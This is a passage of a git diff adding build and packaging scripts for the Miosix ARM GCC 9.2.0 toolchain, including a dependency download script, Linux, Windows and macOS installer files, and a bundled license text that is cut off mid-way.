"$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.ld +$SUDO rm -rf "$DESTDIR$PREFIX/arm-miosix-eabi/lib/cpu-init" +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/9.2.0"/*.o +$SUDO rm "$DESTDIR$PREFIX/lib/gcc/arm-miosix-eabi/9.2.0"/*.a + +# 8B: check that all multilibs have been built. +# This check has been added after an attempt to build arm-miosix-eabi-gcc on Fedora +# where newlib's multilibs were not built. Gcc produced binaries that failed on +# Cortex M3 because the first call to a libc function was a blx into ARM instruction +# set, but since Cortex M3 only has the thumb2 instruction set, the CPU locked. +# By checking that all multilibs are correctly built, this error can be spotted +# immediately instead of leaving a gcc that produces wrong code in the wild. + +check_multilibs() { + if [[ ! -f $1/libc.a ]]; then + quit "::Error, $1/libc.a not installed" + fi + if [[ ! -f $1/libm.a ]]; then + quit "::Error, $1/libm.a not installed" + fi + if [[ ! -f $1/libg.a ]]; then + quit "::Error, $1/libg.a not installed" + fi + if [[ ! -f $1/libatomic.a ]]; then + quit "::Error, $1/libatomic.a not installed" + fi + if [[ ! -f $1/libstdc++.a ]]; then + quit "::Error, $1/libstdc++.a not installed" + fi + if [[ ! -f $1/libsupc++.a ]]; then + quit "::Error, $1/libsupc++.a not installed" + fi +} + +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/arm/v4t/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v4t/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v6-m/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7-m/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+dp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v7e-m+fp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.base/nofp/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+dp/hard/pie/single-pic-base +check_multilibs $DESTDIR$PREFIX/arm-miosix-eabi/lib/thumb/v8-m.main+fp/hard/pie/single-pic-base +echo "::All multilibs have been built. OK" + +# +# Part 9: compile and install gdb +# + +# GDB on linux/windows needs expat +if [[ $DESTDIR ]]; then + cd $EXPAT + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static=yes \ + --enable-shared=no \ + 2> ../log/z.expat.a.txt || quit ":: Error configuring expat" + + make all $PARALLEL 2>../log/z.expat.b.txt || quit ":: Error compiling expat" + + make install 2>../log/z.expat.d.txt || quit ":: Error installing expat" + + cd .. +fi + +# GDB on linux requires ncurses, and not to depend on them when doing a +# redistributable linux build we build a static version +# Based on previous gdb that when run with --tui reported as error +# "Error opening terminal: xterm-256color" we now build this terminal as +# fallback within ncurses itself. +if [[ $HOST == *linux* ]]; then + cd $NCURSES + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --with-normal --without-shared \ + --without-ada --without-cxx-binding --without-debug \ + --with-fallbacks='xterm-256color' \ + --without-manpages --without-progs --without-tests \ + 2> ../log/z.ncurses.a.txt || quit ":: Error configuring ncurses" + + make all $PARALLEL 2>../log/z.ncurses.b.txt || quit ":: Error compiling ncurses" + + make install 2>../log/z.ncurses.d.txt || quit ":: Error installing ncurses" + + cd .. +fi + +mkdir gdb-obj +cd gdb-obj + +# CXX=$HOSTCXX to avoid having to distribute libstdc++.dll on windows +CXX=$HOSTCXX ../$GDB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --with-libmpfr-prefix=$LIB_DIR \ + --with-libexpat-prefix=$LIB_DIR \ + --with-system-zlib=no \ + --with-lzma=no \ + --with-python=no \ + --enable-interwork \ + --enable-multilib \ + --disable-werror 2>../log/l.txt || quit ":: Error configuring gdb" + +# Specify a dummy MAKEINFO binary to work around an issue in the gdb makefiles +# where compilation fails if MAKEINFO is not installed. +# https://sourceware.org/bugzilla/show_bug.cgi?id=14678 +make all MAKEINFO=/usr/bin/true $PARALLEL 2>../log/m.txt || quit ":: Error compiling gdb" + +$SUDO make install MAKEINFO=/usr/bin/true DESTDIR=$DESTDIR 2>../log/n.txt || quit ":: Error installing gdb" + +cd .. + +# +# Part 10: install the postlinker +# +cd mx-postlinker +make CXX="$HOSTCXX" SUFFIX=$EXT || quit ":: Error compiling mx-postlinker" +$SUDO make install CXX="$HOSTCXX" SUFFIX=$EXT \ + INSTALL_DIR=$DESTDIR$PREFIX/bin \ + || quit ":: Error installing mx-postlinker" +make CXX="$HOSTCXX" SUFFIX=$EXT clean +cd .. + +# +# Part 11: compile and install lpc21isp.c +# + +$HOSTCC -o lpc21isp$EXT lpc21isp.c || quit ":: Error compiling lpc21isp" + +$SUDO mv lpc21isp$EXT $DESTDIR$PREFIX/bin || quit ":: Error installing lpc21isp" + +# +# Part 12: install GNU make and rm (windows release only) +# + +if [[ $HOST == *mingw* ]]; then + + cd $MAKE + + ./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$PREFIX 2> z.make.a.txt || quit ":: Error configuring make" + + make all $PARALLEL 2>../log/z.make.b.txt || quit ":: Error compiling make" + + make install DESTDIR=$DESTDIR 2>../log/z.make.c.txt || quit ":: Error installing make" + + cd .. + + # FIXME get a better rm to distribute for windows + $HOSTCC -o rm$EXT -O2 installers/windows/rm.c || quit ":: Error compiling rm" + + mv rm$EXT $DESTDIR$PREFIX/bin || quit ":: Error installing rm" +fi + +# +# Part 13: Final fixups +# + +# Remove this since its name is not arm-miosix-eabi- +$SUDO rm $DESTDIR$PREFIX/bin/arm-miosix-eabi-$GCC$EXT + +# Strip stuff that is very large when having debug symbols to save disk space +# This simple thing can easily save 500+MB +find $DESTDIR$PREFIX -name cc1$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name cc1plus$EXT | $SUDO xargs $HOSTSTRIP +find $DESTDIR$PREFIX -name lto1$EXT | $SUDO xargs $HOSTSTRIP +$SUDO $HOSTSTRIP $DESTDIR$PREFIX/bin/* + + + +# Installers, env variables and other stuff +if [[ $DESTDIR ]]; then + if [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *linux* ) ]]; then + # Build a makeself installer + # Distribute the installer and uninstaller too + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" installers/linux/installer.sh > $DESTDIR$PREFIX/installer.sh + sed -E "s|/opt/arm-miosix-eabi|$PREFIX|g" uninstall.sh > $DESTDIR$PREFIX/uninstall.sh + chmod +x $DESTDIR$PREFIX/installer.sh $DESTDIR$PREFIX/uninstall.sh + sh downloaded/$MAKESELF.run + # NOTE: --keep-umask otherwise the installer extracts files setting to 0 + # permissions to group and other, resulting in an unusable installation + ./$MAKESELF/makeself.sh --xz --keep-umask \ + $DESTDIR$PREFIX \ + MiosixToolchainInstaller9.2.0mp3.4.run \ + "Miosix toolchain for Linux (GCC 9.2.0-mp3.4)" \ + "./installer.sh" + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *mingw* ) ]]; then + # Build an executable installer for Windows + cd installers/windows + wine "C:\Program Files (x86)\Inno Setup 6\Compil32.exe" /cc MiosixInstaller.iss + cd ../.. + elif [[ ( $(uname -s) == 'Linux' ) && ( $HOST == *darwin* ) ]]; then + echo "TODO: there seems to be no way to produce a .pkg mac installer" + echo "from Linux as the pkgbuild/productbuild tools aren't available" + elif [[ $(uname -s) == 'Darwin' ]]; then + # Build a .pkg installer for macOS if we are on macOS and we are building for it + cp uninstall.sh $DESTDIR$PREFIX + # Prepare the postinstall script by replacing the correct prefix + mkdir -p installers/macos/Scripts + cat installers/macos/ScriptsTemplates/postinstall | \ + sed -e 's|PREFIX=|PREFIX='"$PREFIX"'|' > \ + installers/macos/Scripts/postinstall + chmod +x installers/macos/Scripts/postinstall + # Build a standard macOS package. + # The wizard steps are configured by the Distribution.xml file. + # Documentation: + # https://developer.apple.com/library/archive/documentation/ + # DeveloperTools/Reference/DistributionDefinitionRef/Chapters/ + # Introduction.html#//apple_ref/doc/uid/TP40005370-CH1-SW1 + # Also see `man productbuild` and `man pkgbuild`. + distr_script='installers/macos/Distribution_Intel.xml' + suffix='Intel' + if [[ $BUILD == aarch64* ]]; then + distr_script='installers/macos/Distribution_ARM.xml' + suffix='ARM' + fi + # Detect selected minimum OS version from $CFLAGS + min_os_ver=$(echo "$CFLAGS" | sed -E 's/.*-mmacos-version-min=([^ ]+).*/\1/g') + if [[ -z "${min_os_ver}" ]]; then + # Not specified in $CFLAGS: use the OS version associated to the SDK + # we are using + min_os_ver="$(xcrun --show-sdk-version)" + fi + + pkgbuild \ + --identifier 'org.miosix.toolchain.gcc' \ + --version "9.2.0.${__GCCPATCUR}" \ + --min-os-version "${min_os_ver}" \ + --install-location / \ + --scripts installers/macos/Scripts \ + --root $DESTDIR \ + "gcc.pkg" + productbuild \ + --distribution ${distr_script} \ + --resources installers/macos/Resources \ + --package-path ./ \ + "./MiosixToolchainInstaller9.2.0mp${__GCCPATCUR}_${suffix}.pkg" + fi +else + # Install the uninstaller too + chmod +x uninstall.sh + $SUDO cp uninstall.sh $DESTDIR$PREFIX + # If sudo not an empty variable and we are not on macOS, make symlinks to + # /usr/bin. else make a script to override PATH + if [[ ( $(uname -s) != 'Darwin' ) && $SUDO ]]; then + $SUDO ln -s $DESTDIR$PREFIX/bin/* /usr/bin + else + echo '# Used when installing the compiler locally to test it' > env.sh + echo '# usage: $ . ./env.sh' >> env.sh + echo '# or $ source ./env.sh' >> env.sh + echo "export PATH=$PREFIX/bin:"'$PATH' >> env.sh + chmod +x env.sh + fi +fi + +# +# The end. +# + +echo ":: Successfully installed" diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/additional-download.sh b/tools/compiler/gcc-9.2.0-mp3.4/installers/additional-download.sh new file mode 100755 index 000000000..c243dfc06 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/additional-download.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +# This simple script will download additional sources required to make a +# distributable release build for linux/windows + +# Meant to be run from the main compiler directory (./installers/additional-download.sh) +cd downloaded || exit + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +# Linux +$WGET https://ftpmirror.gnu.org/ncurses/ncurses-6.1.tar.gz +$WGET https://github.com/megastep/makeself/releases/download/release-2.4.5/makeself-2.4.5.run + +# Windows +$WGET https://ftpmirror.gnu.org/make/make-4.2.1.tar.gz +$WGET https://jrsoftware.org/download.php/is.exe +mv is.exe innosetup.exe + +# All +$WGET https://github.com/libexpat/libexpat/releases/download/R_2_2_10/expat-2.2.10.tar.xz diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps-windows.sh b/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps-windows.sh new file mode 100755 index 000000000..6939f7428 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps-windows.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +# When making a redistributable windows installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps-windows.sh) +strings gcc/arm-miosix-eabi/bin/*.exe | grep '\.dll' | sort -u diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps.sh b/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps.sh new file mode 100755 index 000000000..137f7c3af --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/checkdeps.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# When making a redistributable linux installation, use this +# to check the required librearies after it's installed on +# another machine + +# Meant to be run from the main compiler directory (./installers/checkdeps.sh) + +ldd gcc/arm-miosix-eabi/bin/* | perl -ne 'next unless(/\s+(\S+.so(\S+))\s+/);print "$1\n";' | sort -u diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/linux/installer.sh b/tools/compiler/gcc-9.2.0-mp3.4/installers/linux/installer.sh new file mode 100755 index 000000000..7a595a936 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/linux/installer.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +echo "Checking if a previous version of the Miosix Toolchain is installed" +echo "and uninstalling it ..." + +./uninstall.sh + +quit() { + echo $1 + exit 1 +} + +echo "Installing the Miosix toolchain ..." +# NOTE: "" around pwd as the directory may contain spaces +sudo cp -R "`pwd`" /opt/arm-miosix-eabi || quit "Error: can't install to /opt/arm-miosix-eabi" +sudo ln -s /opt/arm-miosix-eabi/bin/* /usr/bin || quit "Error: can't make symlinks to /usr/bin" diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/.gitignore b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/.gitignore new file mode 100644 index 000000000..d55d46501 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/.gitignore @@ -0,0 +1 @@ +Scripts diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_ARM.xml b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_ARM.xml new file mode 100644 index 000000000..8332c52f2 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_ARM.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Apple Silicon) + + + + + + + + + + gcc.pkg + + + + + + + diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_Intel.xml b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_Intel.xml new file mode 100644 index 000000000..e7fb6737e --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Distribution_Intel.xml @@ -0,0 +1,35 @@ + + + Miosix Toolchain for macOS (Intel) + + + + + + + + + + gcc.pkg + + + + + + + diff --git a/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/license.txt b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/license.txt new file mode 100644 index 000000000..f36ca140a --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/installers/macos/Resources/license.txt @@ -0,0 +1,1779 @@ +=== GCC, Binutils, GDB, Make License === + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. 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If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + + If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. + +=== Newlib License === + +The newlib subdirectory is a collection of software from several sources. + +Each file may have its own copyright/license that is embedded in the source +file. Unless otherwise noted in the body of the source file(s), the following copyright +notices will apply to the contents of the newlib subdirectory: + +(1) Red Hat Incorporated + +Copyright (c) 1994-2009 Red Hat, Inc. All rights reserved. + +This copyrighted material is made available to anyone wishing to use, +modify, copy, or redistribute it subject to the terms and conditions +of the BSD License. This program is distributed in the hope that +it will be useful, but WITHOUT ANY WARRANTY expressed or implied, +including the implied warranties of MERCHANTABILITY or FITNESS FOR +A PARTICULAR PURPOSE. A copy of this license is available at +http://www.opensource.org/licenses. Any Red Hat trademarks that are +incorporated in the source code or documentation are not subject to +the BSD License and may only be used or replicated with the express +permission of Red Hat, Inc. + +(2) University of California, Berkeley + +Copyright (c) 1981-2000 The Regents of the University of California. +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, +are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of the University nor the names of its contributors + may be used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGE. + +(3) David M. Gay (AT&T 1991, Lucent 1998) + +The author of this software is David M. Gay. + +Copyright (c) 1991 by AT&T. + +Permission to use, copy, modify, and distribute this software for any +purpose without fee is hereby granted, provided that this entire notice +is included in all copies of any software which is or includes a copy +or modification of this software and in all copies of the supporting +documentation for such software. + +THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED +WARRANTY. IN PARTICULAR, NEITHER THE AUTHOR NOR AT&T MAKES ANY +REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY +OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. + +------------------------------------------------------------------- + +The author of this software is David M. Gay. + +Copyright (C) 1998-2001 by Lucent Technologies +All Rights Reserved + +Permission to use, copy, modify, and distribute this software and +its documentation for any purpose and without fee is hereby +granted, provided that the above copyright notice appear in all +copies and that both that the copyright notice and this +permission notice and warranty disclaimer appear in supporting +documentation, and that the name of Lucent or any of its entities +not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +LUCENT DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, +INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. +IN NO EVENT SHALL LUCENT OR ANY OF ITS ENTITIES BE LIABLE FOR ANY +SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, +ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF +THIS SOFTWARE. + + +(4) Advanced Micro Devices + +Copyright 1989, 1990 Advanced Micro Devices, Inc. + +This software is the property of Advanced Micro Devices, Inc (AMD) which +specifically grants the user the right to modify, use and distribute this +software provided this notice is not removed or altered. All other rights +are reserved by AMD. + +AMD MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO THIS +SOFTWARE. IN NO EVENT SHALL AMD BE LIABLE FOR INCIDENTAL OR CONSEQUENTIAL +DAMAGES IN CONNECTION WITH OR ARISING FROM THE FURNISHING, PERFORMANCE, OR +USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the 29K Technical Support Center at +800-29-29-AMD (800-292-9263) in the USA, or 0800-89-1131 in the UK, or +0031-11-1129 in Japan, toll free. The direct dial number is 512-462-4118. + +Advanced Micro Devices, Inc. +29K Support Products +Mail Stop 573 +5900 E. Ben White Blvd. +Austin, TX 78741 +800-292-9263 + +(5) + +(6) + +(7) Sun Microsystems + +Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + +Developed at SunPro, a Sun Microsystems, Inc. business. +Permission to use, copy, modify, and distribute this +software is freely granted, provided that this notice is preserved. + +(8) Hewlett Packard + +(c) Copyright 1986 HEWLETT-PACKARD COMPANY + +To anyone who acknowledges that this file is provided "AS IS" +without any express or implied warranty: + permission to use, copy, modify, and distribute this file +for any purpose is hereby granted without fee, provided that +the above copyright notice and this notice appears in all +copies, and that the name of Hewlett-Packard Company not be +used in advertising or publicity pertaining to distribution +of the software without specific, written prior permission. +Hewlett-Packard Company makes no representations about the +suitability of this software for any purpose. + +(9) Hans-Peter Nilsson + +Copyright (C) 2001 Hans-Peter Nilsson + +Permission to use, copy, modify, and distribute this software is +freely granted, provided that the above copyright notice, this notice +and the following disclaimer are preserved with no changes. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. + +(10) Stephane Carrez (m68hc11-elf/m68hc12-elf targets only) + +Copyright (C) 1999, 2000, 2001, 2002 Stephane Carrez (stcarrez@nerim.fr) + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(11) Christopher G. Demetriou + +Copyright (c) 2001 Christopher G. Demetriou +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. +3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(12) SuperH, Inc. + +Copyright 2002 SuperH, Inc. All rights reserved + +This software is the property of SuperH, Inc (SuperH) which specifically +grants the user the right to modify, use and distribute this software +provided this notice is not removed or altered. All other rights are +reserved by SuperH. + +SUPERH MAKES NO WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, WITH REGARD TO +THIS SOFTWARE. IN NO EVENT SHALL SUPERH BE LIABLE FOR INDIRECT, SPECIAL, +INCIDENTAL OR CONSEQUENTIAL DAMAGES IN CONNECTION WITH OR ARISING FROM +THE FURNISHING, PERFORMANCE, OR USE OF THIS SOFTWARE. + +So that all may benefit from your experience, please report any problems +or suggestions about this software to the SuperH Support Center via +e-mail at softwaresupport@superh.com . + +SuperH, Inc. +405 River Oaks Parkway +San Jose +CA 95134 +USA + +(13) Royal Institute of Technology + +Copyright (c) 1999 Kungliga Tekniska Högskolan +(Royal Institute of Technology, Stockholm, Sweden). +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of KTH nor the names of its contributors may be + used to endorse or promote products derived from this software without + specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY KTH AND ITS CONTRIBUTORS ``AS IS'' AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL KTH OR ITS CONTRIBUTORS BE +LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR +BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(14) Alexey Zelkin + +Copyright (c) 2000, 2001 Alexey Zelkin +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + +(15) Andrey A. Chernov + +Copyright (C) 1997 by Andrey A. Chernov, Moscow, Russia. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' 